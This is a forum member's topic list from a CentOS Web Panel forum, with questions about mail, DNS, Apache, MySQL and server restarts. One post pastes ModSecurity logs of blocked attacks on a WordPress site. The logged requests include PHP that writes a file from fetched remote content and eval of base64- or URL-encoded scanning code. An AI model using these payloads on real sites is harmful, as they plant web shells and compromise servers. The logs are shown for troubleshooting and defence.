Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Topics - johnny09

Pages: [1] 2
2
E-Mail / How to set up Thunderbird to read roundcubes created emails?
« on: September 21, 2017, 08:14:56 AM »
Hello,

1.created an new email in cwp
2.tested it, sent to gmail and got an replayed message back, works, 25 not blocked
3.I use Thunderbird, to manage my emails, gmail, local hosting email providers and so on, but now I would like to add CWP roundcubes mails but how?

Get errors and this one did not help :(
https://wiki.terranetwork.net/en/email-accounts/thunderbird

Suggestions?


3
CentOS 6 Problems / Notifications
« on: September 14, 2017, 08:40:05 AM »
Hello,

is there a way to send notification for these cases:
1.email or notification in cwp when an user logs in cwp
2.email or notification when root,users files, example, public_html are updated or changed
3.email or notification of backup task done for root or user
4.any other except these http://wiki.centos-webpanel.com/notifications-in-control-panel

Maybe it is time to make a module - notification bar - were anything similar could be done in a few clicks?

4
E-Mail / rDNS/PTR = FAILED, check with your hosting provider!
« on: September 12, 2017, 06:30:22 AM »
Everything was fine, but now it is failed

rDNS/PTR = FAILED, check with your hosting provider!

I have a PTR record set up at ISP
I have a MX record at cloud flare were the domain is set up

Read all the forum about similar issues, but no ideas how to fix this.

Ideas, solutions, fix?  :-[

5
Updates / After updating today cwp crashes
« on: August 24, 2017, 01:59:29 PM »
Every min or 5 or any 10 sec cwp crashes, no connection.

What I did made an update early morning.

Any other has similar problems? Reloading cwp wont help. Suggestions?

6
DNS / CWP DNS or Cloudflare
« on: August 11, 2017, 08:24:24 AM »
Hello,

I am using Cloudflare DNS but was wondering why not use CWP?

Had tried when I started to learn CWP but something was wrong, it did not work.

So my concern is now - which one is better and faster? And read about DNS full remake, is there any updates on it?

7
CentOS 6 Problems / HELP, Apashe wont start
« on: August 04, 2017, 08:08:18 AM »
Restarted the apache but nothing works, get this

Starting httpd: [Fri Aug 04 11:03:48.840416 2017] [so:warn] [pid 13899:tid 140561375524608] AH01574: module suphp_module is already loaded, skipping
[Fri Aug 04 11:03:48.846935 2017] [alias:warn] [pid 13899:tid 140561375524608] AH00671: The Alias directive in /usr/local/apache/conf.d/domain-redirects.conf at line 2 will probably never match because it overlaps an earlier Alias.
[Fri Aug 04 11:03:48.846953 2017] [alias:warn] [pid 13899:tid 140561375524608] AH00671: The Alias directive in /usr/local/apache/conf.d/domain-redirects.conf at line 3 will probably never match because it overlaps an earlier Alias.
[Fri Aug 04 11:03:48.846959 2017] [alias:warn] [pid 13899:tid 140561375524608] AH00671: The Alias directive in /usr/local/apache/conf.d/domain-redirects.conf at line 4 will probably never match because it overlaps an earlier Alias.
(98)Address already in use: AH00072: make_sock: could not bind to address [::]:443
[  OK  ]

How to fix it, server restart did not help???

8
Hello,

got this when trying to reload....

When I restart apache it wont start again, red. To start it again I need to unninstall modsecurity.

Using:
CWPpro version: 0.9.8.238
Comodo WAF (Latest version of Comodo WAF rules with automatic updates) [CWPpro required] Installed version: 1.123
 
Last logs, can some one explain? I got hacked or the mod stopped the hacking?

Code: [Select]
[Fri May 12 19:11:58.407275 2017] [:error] [pid 29061:tid 139971778234112] [client 185.112.248.116:52241] [client 185.112.248.116] ModSecurity: Access denied with code 403 (phase 2). Matched phrase "file_put_contents" at ARGS:cmd. [file "/usr/local/apache/modsecurity-cwaf/rules/23_PHP_PHPGen.conf"] [line "36"] [id "218410"] [rev "1"] [msg "COMODO WAF: PHP Injection Attack: High-Risk PHP Function Name Found||HIDE.lv|F|2"] [data "Matched Data: file_put_contents found within ARGS:cmd: file_put_contents(getcwd().'/wp-xmlrpc.php', rawurldecode(file_get_contents('[url]')));"] [severity "CRITICAL"] [tag "CWAF"] [tag "PHPGen"] [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/css.php"] [unique_id "WRXezlDo8LAAAHGFzMAAAAEX"]
[Fri May 12 19:11:58.751947 2017] [:error] [pid 21357:tid 139971809703680] [client 185.112.248.116:52270] [client 185.112.248.116] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/wp-xmlrpc.php"] [unique_id "WRXezlDo8LAAAFNtFigAAACU"]
[Fri May 12 19:11:58.753323 2017] [:error] [pid 21357:tid 139971809703680] [client 185.112.248.116:52270] [client 185.112.248.116] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/13_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||HIDE.lv|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/wp-xmlrpc.php"] [unique_id "WRXezlDo8LAAAFNtFigAAACU"]
[Fri May 12 19:11:59.439610 2017] [:error] [pid 21357:tid 139971967051520] [client 185.112.248.116:52292] [client 185.112.248.116] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/wp-xmlrpc.php"] [unique_id "WRXez1Do8LAAAFNtFikAAACF"]
[Fri May 12 19:11:59.440990 2017] [:error] [pid 21357:tid 139971967051520] [client 185.112.248.116:52292] [client 185.112.248.116] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/13_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||HIDE.lv|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/wp-xmlrpc.php"] [unique_id "WRXez1Do8LAAAFNtFikAAACF"]
[Fri May 12 19:12:00.061573 2017] [:error] [pid 21301:tid 139971788723968] [client 185.112.248.116:52329] [client 185.112.248.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:alert|eval|fromcharcode)\\\\s*(?:\\\\(|`)" at ARGS:cmd. [file "/usr/local/apache/modsecurity-cwaf/rules/08_XSS_XSS.conf"] [line "229"] [id "212790"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||HIDE.lv|F|2"] [data "Matched Data: eval( found within ARGS:cmd: eval(eval(base64_decode(\\x22igz1bmn0aw9uihnjyw4ojhbhdggpihsgicagicrmb2xkzxjzid0gyxjyyxkoktsgicagiglmicgkzglyid0gqg9wzw5kaxiojhbhdggpksb7icagicagicagd2hpbgugkgzhbhnlice9psaojgzpbgugpsbyzwfkzglykcrkaxipkskgeyagicagicagicagicakbgzpbgugpsbzdhj0b2xvd2vykcrmawxlktsgicagicagicagicagjhbmawxlid0gjhbhdggglianlycgliakzmlsztsgicagicagicagicagawygkcrmawxlice9iccujyamjiakzmlszsahpsanli4nksb7icagicagicagicagicagicbpziaoaxnfbgluaygkcgzpbgupksb7icagicagicagicagicagicagicagy29udg..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/css.php"] [unique_id "WRXe0FDo8LAAAFM1gqoAAAAW"]
[Fri May 12 19:12:00.381321 2017] [:error] [pid 21301:tid 139971977541376] [client 185.112.248.116:52359] [client 185.112.248.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:alert|eval|fromcharcode)\\\\s*(?:\\\\(|`)" at ARGS:cmd. [file "/usr/local/apache/modsecurity-cwaf/rules/08_XSS_XSS.conf"] [line "229"] [id "212790"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||HIDE.lv|F|2"] [data "Matched Data: eval( found within ARGS:cmd: eval(eval(rawurldecode(\\x22%20function%20scan%28%24path%29%20%7b%20%20%20%20%20%24folders%20%3d%20array%28%29%3b%20%20%20%20%20if%20%28%24dir%20%3d%20%40opendir%28%24path%29%29%20%7b%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3d%3d%20%28%24file%20%3d%20readdir%28%24dir%29%29%29%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24lfile%20%3d%20strtolower%28%24file%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24pfile%20%3d%20%24path%20.%20%27/%27%20.%20%24file%3b..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/css.php"] [unique_id "WRXe0FDo8LAAAFM1gqsAAAAE"]
[Fri May 12 19:12:00.990898 2017] [:error] [pid 21301:tid 139971778234112] [client 185.112.248.116:52390] [client 185.112.248.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:alert|eval|fromcharcode)\\\\s*(?:\\\\(|`)" at ARGS:cmd. [file "/usr/local/apache/modsecurity-cwaf/rules/08_XSS_XSS.conf"] [line "229"] [id "212790"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||HIDE.lv|F|2"] [data "Matched Data: eval( found within ARGS:cmd: eval(eval(base64_decode(\\x22igz1bmn0aw9uihnjyw4ojhbhdggpihsgicagicrmb2xkzxjzid0gyxjyyxkoktsgicagiglmicgkzglyid0gqg9wzw5kaxiojhbhdggpksb7icagicagicagd2hpbgugkgzhbhnlice9psaojgzpbgugpsbyzwfkzglykcrkaxipkskgeyagicagicagicagicakbgzpbgugpsbzdhj0b2xvd2vykcrmawxlktsgicagicagicagicagjhbmawxlid0gjhbhdggglianlycgliakzmlsztsgicagicagicagicagawygkcrmawxlice9iccujyamjiakzmlszsahpsanli4nksb7icagicagicagicagicagicbpziaoaxnfbgluaygkcgzpbgupksb7icagicagicagicagicagicagicagy29udg..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/css.php"] [unique_id "WRXe0FDo8LAAAFM1gqwAAAAX"]
[Fri May 12 19:12:01.348794 2017] [:error] [pid 21301:tid 139971893622528] [client 185.112.248.116:52426] [client 185.112.248.116] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?:alert|eval|fromcharcode)\\\\s*(?:\\\\(|`)" at ARGS:cmd. [file "/usr/local/apache/modsecurity-cwaf/rules/08_XSS_XSS.conf"] [line "229"] [id "212790"] [rev "3"] [msg "COMODO WAF: XSS Attack Detected||HIDE.lv|F|2"] [data "Matched Data: eval( found within ARGS:cmd: eval(eval(rawurldecode(\\x22%20function%20scan%28%24path%29%20%7b%20%20%20%20%20%24folders%20%3d%20array%28%29%3b%20%20%20%20%20if%20%28%24dir%20%3d%20%40opendir%28%24path%29%29%20%7b%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3d%3d%20%28%24file%20%3d%20readdir%28%24dir%29%29%29%20%7b%20%20%20%20%20%20%20%20%20%20%20%20%20%24lfile%20%3d%20strtolower%28%24file%29%3b%20%20%20%20%20%20%20%20%20%20%20%20%20%24pfile%20%3d%20%24path%20.%20%27/%27%20.%20%24file%3b..."] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "HIDE.lv"] [uri "/wp-content/uploads/catalog_enquiry/css.php"] [unique_id "WRXe0VDo8LAAAFM1gq0AAAAM"]
[Fri May 12 21:29:39.619097 2017] [:error] [pid 21301:tid 139971767744256] [client 172.68.10.236:17343] [client 172.68.10.236] ModSecurity: Access denied with code 403 (phase 2). Matched phrase ".sql/" at TX:extension. [file "/usr/local/apache/modsecurity-cwaf/rules/11_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "3"] [msg "COMODO WAF: URL file extension is restricted by policy||HIDE.lv|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "HIDE.lv"] [uri "/jghiwiqmaskdkdw.sql"] [unique_id "WRX-E1Do8LAAAFM1gswAAAAY"]
[Sat May 13 02:47:39.994558 2017] [:error] [pid 21329:tid 139971914602240] [client 141.101.104.69:31861] [client 141.101.104.69] ModSecurity: Access denied with code 403 (phase 2). Matched phrase ".sql/" at TX:extension. [file "/usr/local/apache/modsecurity-cwaf/rules/11_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "3"] [msg "COMODO WAF: URL file extension is restricted by policy||HIDE.store|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "HIDE.store"] [uri "/jghiwiqmaskdkdw.sql"] [unique_id "WRZJm1Do8LAAAFNRZ4gAAABK"]
[Sat May 13 03:11:59.476347 2017] [:error] [pid 21519:tid 139971893622528] [client 172.68.65.136:20127] [client 172.68.65.136] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 208.113.186.110 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZPT1Do8LAAAFQPCFgAAADM"]
[Sat May 13 03:19:10.869683 2017] [:error] [pid 21301:tid 139972058699520] [client 197.234.242.68:15736] [client 197.234.242.68] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 41.193.5.44 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZQ-lDo8LAAAFM1g6MAAAAD"]
[Sat May 13 03:28:07.788346 2017] [:error] [pid 21329:tid 139971956561664] [client 162.158.78.134:33282] [client 162.158.78.134] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 54.209.58.75 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZTF1Do8LAAAFNRZ7MAAABG"]
[Sat May 13 03:28:23.621291 2017] [:error] [pid 21519:tid 139971788723968] [client 173.245.50.112:14704] [client 173.245.50.112] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 172.245.60.50 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZTJ1Do8LAAAFQPCHIAAADW"]
[Sat May 13 03:28:31.290657 2017] [:error] [pid 21519:tid 139971799213824] [client 141.101.88.158:28616] [client 141.101.88.158] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 213.251.182.103 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZTL1Do8LAAAFQPCHMAAADV"]
[Sat May 13 03:35:00.660806 2017] [:error] [pid 21519:tid 139971778234112] [client 141.101.105.106:34364] [client 141.101.105.106] ModSecurity: Access denied with code 403 (phase 2). Matched phrase ".sql/" at TX:extension. [file "/usr/local/apache/modsecurity-cwaf/rules/11_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "3"] [msg "COMODO WAF: URL file extension is restricted by policy||HIDE.com|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "HIDE.com"] [uri "/jghiwiqmaskdkdw.sql"] [unique_id "WRZUtFDo8LAAAFQPCHcAAADX"]
[Sat May 13 03:39:07.182053 2017] [:error] [pid 21329:tid 139971967051520] [client 141.101.84.170:12332] [client 141.101.84.170] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 35.154.155.74 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZVq1Do8LAAAFNRZ7kAAABF"]
[Sat May 13 03:49:00.097854 2017] [:error] [pid 29061:tid 139971820193536] [client 108.162.241.164:36239] [client 108.162.241.164] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 108.162.241.164 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZX-FDo8LAAAHGFzdoAAAET"]
[Sat May 13 03:57:56.392645 2017] [:error] [pid 21329:tid 139971788723968] [client 172.68.65.172:24358] [client 172.68.65.172] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at IP. [file "/usr/local/apache/modsecurity-cwaf/rules/32_Apps_OtherApps.conf"] [line "1229"] [id "240335"] [rev "4"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 172.68.65.172 (+1 hits since last alert)|www.HIDE.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "www.HIDE.com"] [uri "/xmlrpc.php"] [unique_id "WRZaFFDo8LAAAFNRZ78AAABW"]

9
CentOS 6 Problems / File Lock
« on: May 15, 2017, 01:57:41 PM »
Hello,

is there an manual or some info about File Lock?

Will backups work when it is turned on?

Can admin turn it off? There is a option in user section, but at admins?

Thanks

10
CentOS 6 Problems / PHP7 apcu extension
« on: April 25, 2017, 06:15:27 AM »
Hello,

installed a fresh pydio 7 and get an error

Parameter 1 to pydio\Cache\Core\CoreCacheLoader::loadNodeInfoFromCache() expected to be a reference, value given
Link to post
https://pydio.com/forum/f/topic/parameter-1-to-pydiocachecorecorecacheloader/

So read about that and maybe the solution is apcu extension.
So was wondering how to install it on cwp and will it work together?

Any ideas, solutions, how to fix this?
Thanks

11
Updates / 0.9.8.221 update
« on: April 21, 2017, 05:33:18 AM »
Hello,

mirror broke, cant update....

http://imgur.com/a/CYc79

12
CentOS 6 Problems / Fresh Centos 6 and CWP install
« on: April 19, 2017, 01:11:24 PM »
Hello

Just installed centos 6.5, updated to 6.9 final, installed cwp (now CWPpro version: 0.9.8.219), everything was fine until added subdomains.

They just brake, the links show

Not Found

The requested URL /wp-admin/admin.php was not found on this server.

Added NAT, rebuild apache...before, fresh wordpress install.... any ideas? help?

13
MySQL / After updating CWP get this MySQL errors
« on: March 22, 2017, 08:26:26 AM »
Finaly got cwp version 0.9.8.188, but in mysql get this:

The configuration file now needs a secret passphrase (blowfish_secret).

1.Cant find info how to fix it or were..... help

2.And the second thing is that I cant import mysql db size 1m, loads loads and then - The connection was reset... help...its urgent....

Code: [Select]
MySQL info

    Server: Localhost via UNIX socket
    Server type: MariaDB
    Server version: 10.1.22-MariaDB - MariaDB Server
    Protocol version: 10
    User: libau_bad@localhost
    Server charset: UTF-8 Unicode (utf8)

     nginx/1.10.2
    Database client version: libmysql - mysqlnd 5.0.12-dev - 20150407 - $Id: b5c5906d452ec590732a93b051f3827e02749b83 $
    PHP extension: mysqliDocumentation curlDocumentation mbstringDocumentation
    PHP version: 7.0.16

 Version information: 4.6.6 (up to date)

14
E-Mail / Mail in queue, cant send, 25 port blocked
« on: March 14, 2017, 07:18:18 AM »
Hello,

I am stuck, need help...
My mails are in queue, I guess my ISP is blocking 25 port, so how to bypass that?
Previously it worked with smtp when my mails were send trough gmail 587, but stopped working....

Been reading 3 days all sort of info, but no solution, so please someone help me out on this one!
For additional details please ask what do you need and were to look for it....

15
CentOS 6 Problems / Centos server restarts, would like to know why?
« on: February 09, 2017, 07:03:19 AM »
Hello,

so to understand what cause the shutdown here are the logs:

Feb  5 05:11:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 11580 due to rate-limiting
Feb  5 05:11:41 host rsyslogd-2177: imuxsock begins to drop messages from pid 11583 due to rate-limiting
Feb  5 05:11:42 host rsyslogd-2177: imuxsock begins to drop messages from pid 11587 due to rate-limiting
Feb  5 05:11:46 host rsyslogd-2177: imuxsock lost 40 messages from pid 11587 due to rate-limiting
Feb  5 05:12:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 11590 due to rate-limiting
Feb  5 05:31:13 host kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=00:19:b9:fa:24:b8:d4:ca:6d:07:36:55:08:00 SRC=115.28.39.26 DST=192.168.11.250 LEN=48 TOS=0x00 PREC=0x20 TTL=106 ID=4508 DF PROTO=TCP SPT=2357 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0
Feb  5 05:31:16 host kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=00:19:b9:fa:24:b8:d4:ca:6d:07:36:55:08:00 SRC=115.28.39.26 DST=192.168.11.250 LEN=48 TOS=0x00 PREC=0x20 TTL=106 ID=32012 DF PROTO=TCP SPT=2357 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0
Feb  5 05:31:22 host kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=00:19:b9:fa:24:b8:d4:ca:6d:07:36:55:08:00 SRC=115.28.39.26 DST=192.168.11.250 LEN=48 TOS=0x00 PREC=0x20 TTL=106 ID=22392 DF PROTO=TCP SPT=2357 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0
Feb  5 05:33:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 13329 due to rate-limiting
Feb  5 05:34:38 host rsyslogd-2177: imuxsock lost 214 messages from pid 13329 due to rate-limiting
Feb  5 05:34:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 13329 due to rate-limiting
Feb  5 05:36:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 13576 due to rate-limiting
Feb  5 05:37:39 host rsyslogd-2177: imuxsock lost 215 messages from pid 13576 due to rate-limiting
Feb  5 05:37:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 13576 due to rate-limiting
Feb  5 05:39:02 host named[1902]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:71::30#53
Feb  5 05:39:02 host named[1902]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:4f8:0:2::19#53
Feb  5 05:39:02 host named[1902]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:60::29#53
Feb  5 05:39:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 13621 due to rate-limiting
Feb  5 05:40:38 host rsyslogd-2177: imuxsock lost 215 messages from pid 13621 due to rate-limiting
Feb  5 05:40:39 host rsyslogd-2177: imuxsock begins to drop messages from pid 13621 due to rate-limiting
Feb  5 10:32:46 host kernel: imklog 5.8.10, log source = /proc/kmsg started.
Feb  5 10:32:46 host rsyslogd: [origin software="rsyslogd" swVersion="5.8.10" x-pid="1504" x-info="http://www.rsyslog.com"] start
Feb  5 10:32:46 host kernel: Initializing cgroup subsys cpuset
Feb  5 10:32:46 host kernel: Initializing cgroup subsys cpu

Feb  6 10:08:59 host kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=00:19:b9:fa:24:b8:d4:ca:6d:07:36:55:08:00 SRC=74.82.47.56 DST=192.168.11.250 LEN=40 TOS=0x00 PREC=0x20 TTL=247 ID=54321 PROTO=TCP SPT=39035 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0
Feb  6 10:12:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 2594 due to rate-limiting
Feb  6 10:13:14 host rsyslogd-2177: imuxsock lost 214 messages from pid 2594 due to rate-limiting
Feb  6 10:13:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 2594 due to rate-limiting
Feb  6 10:15:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3412 due to rate-limiting
Feb  6 10:16:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 3412 due to rate-limiting
Feb  6 10:16:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3412 due to rate-limiting
Feb  6 10:18:16 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:19:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 3649 due to rate-limiting
Feb  6 10:19:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:20:32 host rsyslogd-2177: imuxsock lost 218 messages from pid 3649 due to rate-limiting
Feb  6 10:21:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:22:14 host rsyslogd-2177: imuxsock lost 218 messages from pid 3649 due to rate-limiting
Feb  6 10:22:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:24:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4058 due to rate-limiting
Feb  6 10:25:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 4058 due to rate-limiting
Feb  6 10:25:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4058 due to rate-limiting
Feb  6 10:27:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4195 due to rate-limiting
Feb  6 10:27:44 host rsyslogd-2177: imuxsock lost 215 messages from pid 4195 due to rate-limiting
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:c::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:41::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:41::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:19::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:19::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/A/IN': 2001:500:49::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'ns.isc.afilias-nst.info/AAAA/IN': 2001:500:49::1#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:4f8:0:2::20#53
Feb  6 10:33:00 host named[1905]: error (network unreachable) resolving 'dlv.isc.org/DNSKEY/IN': 2001:500:60::29#53
Feb  6 10:40:14 host kernel: imklog 5.8.10, log source = /proc/kmsg started.
Feb  6 10:40:14 host rsyslogd: [origin software="rsyslogd" swVersion="5.8.10" x-pid="1505" x-info="http://www.rsyslog.com"] start
Feb  6 10:40:14 host kernel: Initializing cgroup subsys cpuset

Feb  6 10:08:59 host kernel: Firewall: *TCP_IN Blocked* IN=eth0 OUT= MAC=00:19:b9:fa:24:b8:d4:ca:6d:07:36:55:08:00 SRC=74.82.47.56 DST=192.168.11.250 LEN=40 TOS=0x00 PREC=0x20 TTL=247 ID=54321 PROTO=TCP SPT=39035 DPT=3389 WINDOW=65535 RES=0x00 SYN URGP=0
Feb  6 10:12:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 2594 due to rate-limiting
Feb  6 10:13:14 host rsyslogd-2177: imuxsock lost 214 messages from pid 2594 due to rate-limiting
Feb  6 10:13:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 2594 due to rate-limiting
Feb  6 10:15:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3412 due to rate-limiting
Feb  6 10:16:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 3412 due to rate-limiting
Feb  6 10:16:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3412 due to rate-limiting
Feb  6 10:18:16 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:19:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 3649 due to rate-limiting
Feb  6 10:19:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:20:32 host rsyslogd-2177: imuxsock lost 218 messages from pid 3649 due to rate-limiting
Feb  6 10:21:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:22:14 host rsyslogd-2177: imuxsock lost 218 messages from pid 3649 due to rate-limiting
Feb  6 10:22:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 3649 due to rate-limiting
Feb  6 10:24:15 host rsyslogd-2177: imuxsock begins to drop messages from pid 4058 due to rate-limiting
Feb  6 10:25:14 host rsyslogd-2177: imuxsock lost 215 messages from pid 4058 due to rate-limiting
